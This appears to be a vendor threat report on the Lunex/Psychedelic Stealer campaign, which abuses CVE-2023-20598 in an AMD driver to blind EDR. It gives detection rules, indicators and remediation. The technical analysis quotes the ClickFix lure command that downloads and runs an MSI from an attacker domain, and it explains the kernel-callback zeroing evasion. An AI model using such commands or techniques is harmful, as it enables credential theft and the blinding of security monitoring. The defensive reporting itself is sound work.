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Threat reportMalwareTL-2026-2664

Lunex Stealer Abuses Vulnerable AMD Radeon Driver (CVE-2023-20598) to Blind Security Monitoring and Steal Browser/Crypto Credentials

highACTIVE

Lunex, a malware-as-a-service platform, delivers the Psychedelic Stealer payload via LunexLoader in a four-stage ClickFix chain that exploits CVE-2023-20598 in the AMD Radeon PDFWKRNL.sys kernel driver to zero EDR/AV kernel callbacks without killing the processes, evading both HVCI and Microsoft's Vulnerable Driver Blocklist.

Key facts

IdentifiersTL-2026-2664, CVE-2023-20598
Also known asLunex, Lunex Stealer, Psychedelic Stealer
SeverityHIGH
CVSS7.8 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
EPSSCVE-2023-20598: 0.4% (37.3th percentile)
Affected productsAdvanced Micro Devices, Inc. AMD Radeon Software (PDFWKRNL.sys kernel-mode driver)
Weaknesses (CWE)CWE-269
AttributionUAC-0277 (low confidence)
Nation-state nexusRussia
MalwarePsychedelic Stealer
ToolsLunex panel, LunexLoader
MITRE ATT&CK techniquesT1005 Data from Local System, T1041 Exfiltration Over C2 Channel, T1053.005 Scheduled Task, T1059.001 Command and Scripting Interpreter, T1059.003 Command and Scripting Interpreter, T1059.007 Command and Scripting Interpreter, T1068 Exploitation for Privilege Escalation, T1071.001 Web Protocols, T1082 System Information Discovery, T1102.001 Web Service, T1105 Ingress Tool Transfer, T1112 Modify Registry and 21 more in the attack flow
MotivationFINANCIAL
Target sectorsretail, health, consumer services, cryptocurrency
Target regionsukraine, Europe, North America
Detection rules9 (1 shown free)
Sources10 cited sources

Detection coverage

As of 2026-10-10, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2664 across Splunk SPL, Microsoft KQL and Sigma, covering 74 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: ClickFix MSI Install via msiexec /passive from Lunex Staging Domain

Detects msiexec.exe launched with /i <URL>.msi /passive where the parent process is explorer.exe (Run-dialog paste) — the exact ClickFix pattern used to drop LunexLoader (elita.msi/miks.msi/sova.msi) from uasputnik.com onto Ukrainian-targeted victims. Also flags reuse of the same panel-hosting infrastructure for the unrelated Sam's Club/WhatsApp Business/Namshi phishing pages OSINT-corroborated as sharing the Lunex operator's Turkey-hosted panel host.

  • Languages: Splunk SPL, Microsoft KQL, Sigma
  • ATT&CK: T1204.004, T1218.007, T1583.001, T1584.004
  • Data sources: sysmon, windows_security, proxy_logs, dns_logs
  • Severity: high
  • Confidence: high

Splunk SPL

index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image="*\\msiexec.exe"
| regex CommandLine="(?i)msiexec(\.exe)?\s+/i\s+https?:\/\/[^\s]+\.msi\s+/passive"
| eval clickfix_run_dialog=if(match(ParentImage, "(?i)\\\\explorer\.exe$"), 1, 0)
| eval known_lunex_stager=if(match(CommandLine, "(?i)uasputnik\.com|elita\.msi|miks\.msi|sova\.msi"), 1, 0)
| eval related_phishing_infra=if(match(CommandLine, "(?i)account-sams-club\.com|teamwork-recover-password\.com|namshi-uae\.com|whatsappbusineses\.com|ibraq-perfumes\.com"), 1, 0)
| where clickfix_run_dialog=1 OR known_lunex_stager=1 OR related_phishing_infra=1
| table _time, ComputerName, User, ParentImage, Image, CommandLine, clickfix_run_dialog, known_lunex_stager, related_phishing_infra
| sort -_time

Microsoft KQL

DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName =~ "msiexec.exe"
| where ProcessCommandLine matches regex @"(?i)/i\s+https?://\S+\.msi\s+/passive"
| extend ClickFixRunDialog = InitiatingProcessFileName =~ "explorer.exe"
| extend KnownLunexStager = ProcessCommandLine has_any ("uasputnik.com","elita.msi","miks.msi","sova.msi")
| extend RelatedPhishingInfra = ProcessCommandLine has_any ("account-sams-club.com","teamwork-recover-password.com","namshi-uae.com","whatsappbusineses.com","ibraq-perfumes.com")
| where ClickFixRunDialog or KnownLunexStager or RelatedPhishingInfra
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine, ClickFixRunDialog, KnownLunexStager, RelatedPhishingInfra
| order by Timestamp desc

Sigma

title: ClickFix MSI Install via msiexec /passive from Lunex Staging Domain
id: 7a1c9e2a-4f3b-4d8e-9c1a-2b6e0f7d8a11
status: experimental
description: Detects msiexec.exe invoked with /passive against a remote .msi URL launched from explorer.exe (Run-dialog paste), consistent with the Lunex/Psychedelic Stealer ClickFix clipboard lure that drops LunexLoader from uasputnik.com or Lunex-operator-adjacent phishing domains.
references:
  - https://thehackernews.com/2026/09/lunex-stealer-abuses-amd-driver-to.html
  - https://arcticwolf.com/resources/blog/psychedelic-stealer-fake-clickfix-captcha-targets-ukraine/
author: Threadlinqs Team
date: 2026/09/26
tags:
  - attack.execution
  - attack.t1204.004
  - attack.t1218.007
  - attack.resource-development
  - attack.t1583.001
  - attack.t1584.004
  - cve.2023.20598
logsource:
  category: process_creation
  product: windows
detection:
  selection_msiexec:
    Image|endswith: '\msiexec.exe'
    CommandLine|re: '(?i)/i\s+https?://\S+\.msi\s+/passive'
  selection_run_dialog:
    ParentImage|endswith: '\explorer.exe'
  selection_known_infra:
    CommandLine|contains:
      - 'uasputnik.com'
      - 'elita.msi'
      - 'miks.msi'
      - 'sova.msi'
      - 'account-sams-club.com'
      - 'teamwork-recover-password.com'
      - 'namshi-uae.com'
      - 'whatsappbusineses.com'
      - 'ibraq-perfumes.com'
  condition: selection_msiexec and (selection_run_dialog or selection_known_infra)
falsepositives:
  - Legitimate silent MSI deployment scripted from explorer.exe by an internal software-distribution shortcut pointing at an internal HTTPS repository
level: high

Known false positives:

  • Legitimate IT-scripted silent MSI installs from explorer.exe pointed at an internally managed HTTPS software repository

Tuning notes: Maintain the lure-domain list as a lookup rather than inline regex as new Lunex/Psychedelic staging domains rotate; uasputnik.com's A-record (176.53.159.40) went cold 2026-09-14 so expect new registrations. TL_OSINT_Scan (tweetfeed.live) corroborated account-sams-club.com, teamwork-recover-password.com, namshi-uae.com, whatsappbusineses.com and ibraq-perfumes.com as community-observed (reporter skocherhan) and flagged two new sibling domains on the same infrastructure pattern, confirm-your-order.com and sephoras.org — add both to the watchlist for validation before promoting to a hard block.

8 more detection rules (Splunk SPL, Microsoft KQL, Sigma) · unlock with TL Creds. Sign up free to unlock the detection rules or query them with the Threadlinqs MCP server (Purple)
  • ClickFix MSI Install via msiexec /passive from Lunex Staging Domain · unlock with TL Creds
  • LunexLoader CMSTPLUA UAC Bypass, [indicator] BYOVD Load, and Post-Exploitation Persistence · unlock with TL Creds
  • Malicious Chrome Native Messaging Host Backdoor Registration (com.lunex.explorer) · unlock with TL Creds
  • ClickFix MSI Install via msiexec /passive from Lunex Staging Domain · unlock with TL Creds
  • Lunex BYOVD - Vulnerable AMD [indicator] Driver Load · unlock with TL Creds
  • Lunex C2 Beaconing to Known Operator IPs and REST API Endpoints · unlock with TL Creds
  • LunexLoader CMSTPLUA UAC Bypass, [indicator] BYOVD Load, and Post-Exploitation Persistence · unlock with TL Creds
  • Lunex C2 Beaconing to Known Operator IPs and REST API Endpoints · unlock with TL Creds

Indicators of compromise

As of 2026-10-10, Threadlinqs Intelligence tracks 74 indicators of compromise for TL-2026-2664.

Sample indicators (3 of 74)

  • IP address: 176.53.159[.]40
  • Domain: uasputnik[.]com
  • File hash: 38e90affe37342ee36917cdc535fe9bf04589afa8430eb8d1ba1016adcfc1878

Defanged, TLP:CLEAR. Full set of 74 indicators: unlock with TL Creds.

74 indicators of compromise · unlock with TL Creds. Compare plans

Community OSINT corroboration

7 of this threat's indicators have also been reported by the open-source security community, which observed at least one of them before this report was published. Community sightings are unverified and are kept separate from Threadlinqs' curated indicators. Indicator values, reporters and campaign linkage are available to authenticated Red-tier users.

Technical analysis

It targets Ukrainian-speaking users via compromised legitimate websites, stealing credentials from seven Chromium browsers and nine cryptocurrency wallets and installing a PowerShell-backed browser Native Messaging Host for persistent remote filesystem access.

Lunex is a Russian-speaking-developed malware-as-a-service (MaaS) infostealer platform whose current campaign, first reverse-engineered end-to-end by Ontinue's Cyber Defence Centre (researcher Rhys Downing, published 2026-09-25), chains four stages against Ukrainian-speaking internet users. The chain begins with a fake Cloudflare CAPTCHA verification page injected via iframe into compromised, legitimate small-business websites (a hair-treatment clinic, a scale-model manufacturer, a bookstore/publisher, a psychological-services facility, a tool retailer, and an automotive/tool retailer). The lure uses the 'ClickFix' technique: it copies a `msiexec.exe /i https://uasputnik.com/elita.msi /passive` command to the victim's clipboard and instructs them, in Ukrainian, to paste it into the Windows Run dialog (Win+R) to 'complete verification.' Arctic Wolf Labs, who first documented this specific ClickFix wave as 'Psychedelic Stealer' (published 2026-09-24) before the AMD-driver/LunexLoader linkage was known, recorded 557 lure views, 426 CAPTCHA clicks, and 79 completed installs across 32 countries between September 9-14, 2026, with Ukraine accounting for 446 of the views.

The MSI (also seen as `miks.msi` and `sova.msi`) drops LunexLoader, which first escalates from a standard user context by abusing the CMSTPLUA COM object to bypass User Account Control (UAC), a well-known 'fileless' UAC-bypass technique that requires no additional binary drop. With elevated privileges, LunexLoader performs a Bring-Your-Own-Vulnerable-Driver (BYOVD) attack, loading PDFWKRNL.sys, an AMD Radeon Software kernel driver vulnerable to CVE-2023-20598 (CVSS 3.1: 7.8, CWE-269 Improper Privilege Management), which lets an authenticated caller issue an IOCTL request to obtain arbitrary physical-memory and I/O-port read/write. Rather than the common BYOVD pattern of terminating EDR/AV processes outright (which is loud and immediately alerts on the process crash), LunexLoader uses PDB-guided kernel callback zeroing: it locates and nulls the registered kernel-mode notify-routine callbacks (process/thread/image-load callbacks) that security products rely on for telemetry, leaving the security product's process running and appearing healthy while it receives no further telemetry. Ontinue's testing found that neither Hypervisor-Protected Code Integrity (HVCI) nor the current Microsoft Vulnerable Driver Blocklist stops this specific PDFWKRNL.sys variant from loading, despite its hash having been catalogued in the LOLDrivers project since March 2026, when ESET's 'EDR Killers' research (published 2026-03-19, tracking ~90 EDR-killer tools in the wild) first flagged the driver as actively abused for defense evasion.

With monitoring blinded, LunexLoader downloads and executes the Psychedelic Stealer payload (`psychedeliclove.exe`, a 64-bit Windows executable) from the same or a related staging host. The stealer harvests saved credentials, cookies, and autofill data from seven Chromium-based browsers (Chrome, Edge, Brave, Opera, Opera GX, Vivaldi, Yandex) and targets nine cryptocurrency wallets: five desktop wallets (Bitcoin Core, Litecoin Core, Exodus, Atomic Wallet, Electrum) and four browser-extension wallets (MetaMask, Trust Wallet, OKX Wallet, SafePal), identified and extracted by known extension IDs. For durable access beyond simple credential theft, it establishes three independent persistence/access mechanisms: a Registry Run key, a hidden scheduled task named `psychedelicloveUtils` that fires at logon, and a malicious Chrome Native Messaging Host registered as `com.lunex.explorer` (manifest `com.lunex.explorer.json`, bridged via `host.ps1`/`host.bat`). The Native Messaging Host implements a roughly 13,200-byte embedded PowerShell script that gives the operator a full remote-filesystem backdoor from inside the browser process: drive listing, directory enumeration, arbitrary file read in 512 KB chunks up to 524 MB, file write, file download, and arbitrary code execution — all without dropping an additional standalone C2 implant.

Stolen data and remote-control traffic are sent to Lunex's operator infrastructure over HTTP(S) via REST-style endpoints (`/api/v1/ext/passwords`, `/api/v1/ext/tokens`, `/api/v1/ext/wallets`, `/api/v1/checkin`, `/api/v1/agent/config`, `/api/v1/agent/tasks`). BlueTeamCoolTeam's OSINT into the operator side of Lunex (published 2026-06-13, updated 2026-06-14) found the panel platform deployed as early as May 14, 2026, growing to six confirmed operator panels across five countries by June 5, 2026, each running an identical React front-end (consistent build hashes and a shared favicon MD5 `b9251db3aa9511157cba432c0b5402fc` on nginx/1.27.5) on operator port 8000/TCP alongside a stealer-facing API on 8080/TCP. Panel capabilities extend beyond passive collection to active browser hijacking: forced navigation (`open_url`), fake browser notifications (`notify`), arbitrary JavaScript injection into victim tabs (`inject`), visual page spoofing (`spoof`), on-demand screenshots, and full live interactive remote-browser control sessions. One panel was fronted by Cloudflare behind a domain (`api-goo-drivehosting.com`) deliberately crafted to resemble routine Google Drive/API traffic in security logs. By the time of Ontinue's September 2026 analysis, Lunex's infrastructure had expanded to 28 unique panels across 13 countries (including Russia, the US, the UK, Netherlands, France, Germany, Turkey, and Bangladesh), with a Turkey-hosted panel additionally serving a set of unrelated consumer-phishing domains (impersonating Sam's Club, WhatsApp Business, Namshi, and others), indicating the same infrastructure is reused/resold for non-Lunex phishing as part of the MaaS offering. No formal threat-actor or group name has been attached to Lunex; attribution rests on panel-build and language artifacts pointing to a Russian-speaking developer or development team.

MITRE ATT&CK techniques by tactic:

Collection

T1005 Data from Local System; T1113 Screen Capture; T1185 Browser Session Hijacking; T1560.001 Archive Collected Data

Exfiltration

T1041 Exfiltration Over C2 Channel

Persistence

T1053.005 Scheduled Task; T1176.001 Software Extensions; T1547.001 Registry Run Keys / Startup Folder; T1574.001 Hijack Execution Flow

Execution

T1059.001 Command and Scripting Interpreter; T1059.003 Command and Scripting Interpreter; T1059.007 Command and Scripting Interpreter; T1204.004 Malicious Copy and Paste

Privilege Escalation

T1068 Exploitation for Privilege Escalation; T1548.002 Bypass User Account Control

Command and Control

T1071.001 Web Protocols; T1102.001 Web Service; T1105 Ingress Tool Transfer; T1571 Non-Standard Port

Discovery

T1082 System Information Discovery

stealth

T1112 Modify Registry; T1140 Deobfuscate/Decode Files or Information; T1202 Indirect Command Execution; T1218.007 Msiexec; T1574.002 Hijack Execution Flow: DLL Side-Loading

Initial Access

T1189 Drive-by Compromise; T1659 Content Injection

Credential Access

T1539 Steal Web Session Cookie; T1555.003 Credentials from Web Browsers

Resource Development

T1583.001 Domains; T1584.004 Server; T1608.004 Stage Capabilities: Drive-by Target

defense-impairment

T1685 Disable or Modify Tools

Remediation

Patches

  • AMD Radeon Software update addressing CVE-2023-20598 per AMD Security Bulletin AMD-SB-6009

Immediate actions

  • Apply the AMD Radeon Software driver update addressing CVE-2023-20598 (AMD-SB-6009) on all endpoints to remove the vulnerable PDFWKRNL.sys binary from disk
  • Block execution/loading of the vulnerable PDFWKRNL.sys build via WDAC/driver-blocklist policy tuned beyond the default Microsoft Vulnerable Driver Blocklist, since it currently does not cover this variant
  • Block the identified Lunex C2 IPs (193.178.159.128, 217.77.15.181, 64.188.74.159, 78.17.74.164, 45.151.106.252, 94.154.32.21, 107.175.82.242) and phishing/panel domains (uasputnik.com, api-goo-drivehosting.com, account-sams-club.com, teamwork-recover-password.com, namshi-uae.com, whatsappbusineses.com, ibraq-perfumes.com) at the network perimeter
  • Force credential resets and revoke saved browser sessions/cookies on any host observed executing elita.msi/miks.msi/sova.msi or psychedeliclove.exe, and rotate any exposed cryptocurrency wallet keys

Workarounds

  • Where the patched Radeon driver cannot be deployed immediately, block PDFWKRNL.sys by file hash/certificate via WDAC or driver-signing enforcement independent of HVCI
  • Use AppLocker/WDAC to block msiexec.exe /passive installs sourced from non-managed/non-allowlisted URLs

Longer-term hardening

  • Deploy EDR/XDR with kernel-callback integrity self-monitoring so silent BYOVD callback-zeroing is detected even when the agent process itself keeps running
  • Restrict local administrator rights and alert on CMSTPLUA COM-object invocation patterns consistent with UAC bypass
  • Enforce Group Policy allowlisting for Chrome/Chromium Native Messaging Host registration to prevent unauthorized manifests like com.lunex.explorer.json
  • Run recurring user-awareness training against ClickFix-style 'paste this into Run' social-engineering lures, particularly for Ukrainian-language user populations

Affected and fixed versions

  • Advanced Micro Devices, Inc. — AMD Radeon Software (PDFWKRNL.sys kernel-mode driver)
    Vulnerable versions: AMD Radeon Software releases bundling the pre-patch PDFWKRNL.sys driver (see AMD-SB-6009)
    Fixed in: AMD Radeon Software releases with the patched PDFWKRNL.sys per AMD-SB-6009

Timeline

Last updated · 7 updates · revalidated 5× · latest source

  • CVE-2023-20598, an improper-privilege-management flaw in the AMD Radeon locked-ioc-53 kernel driver, is publicly disclosed; AMD publishes remediation bulletin AMD-SB-6009.
  • ESET's 'EDR Killers' research, tracking ~90 EDR-killer tools in the wild, documents locked-ioc-53 as an actively abused BYOVD driver for defense evasion.
  • The vulnerable locked-ioc-53 hash is added to the LOLDrivers project catalog.
  • The first known Lunex Stealer operator C2 panel is deployed, per BlueTeamCoolTeam OSINT.
  • Six active Lunex operator panels are established across five countries (US, Finland, Germany/Ireland, Netherlands, Ukraine).
  • BlueTeamCoolTeam researcher Luke Wilkinson publishes 'The Panel Behind the Prompt,' OSINT into the live Lunex C2 network.
  • The domain locked-ioc-45 is registered (17:02:25 UTC) and later used to serve the ClickFix lure page and host the malicious MSI installer.
  • First Psychedelic Stealer ClickFix lures are observed injected into compromised scale-model-manufacturer and bookstore/publisher websites.
  • A ClickFix lure is observed injected into a Ukrainian hair-treatment clinic website.
  • Last recorded DNS activity for locked-ioc-45's locked-ioc-46 A-record, indicating the campaign's initial infrastructure wave winds down.
  • Arctic Wolf Labs publishes 'The Psychedelic Stealer: When a CAPTCHA Becomes an Installer,' the first public documentation of this ClickFix wave and its campaign statistics.
  • Ontinue's Cyber Defence Centre publishes the first public, in-depth binary analysis linking the ClickFix chain to LunexLoader, the CVE-2023-20598 BYOVD technique, and the Lunex MaaS platform.
  • The Hacker News publicizes the combined Lunex Stealer / AMD-driver BYOVD findings, drawing widespread security-community attention.
  • Born City reports the AMD locked-ioc-53 driver still loads with the Microsoft Vulnerable Driver Blocklist and HVCI enabled, zeroing security-product kernel callbacks.
  • CERT-UA publishes its UAC-0277 report: 100+ compromised websites show fake Cloudflare ClickFix checks, with three MSI variants delivering LUNEXSTEALER and the injected script's mode (inactive, passive tracking, fake check) read from a Polygon/Ethereum smart contract.
  • The Record reports CERT-UA's UAC-0277 findings: more than 100 legitimate Ukrainian websites, including online retailers and children's sites, were compromised to serve the fake Cloudflare ClickFix lure delivering Lunex Stealer and the optional LunarAxe extension.

Update history

Sources cited

Other reports on CVE-2023-20598

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Drafted by the Threadlinqs research pipeline from 10 sources; published ; last updated .

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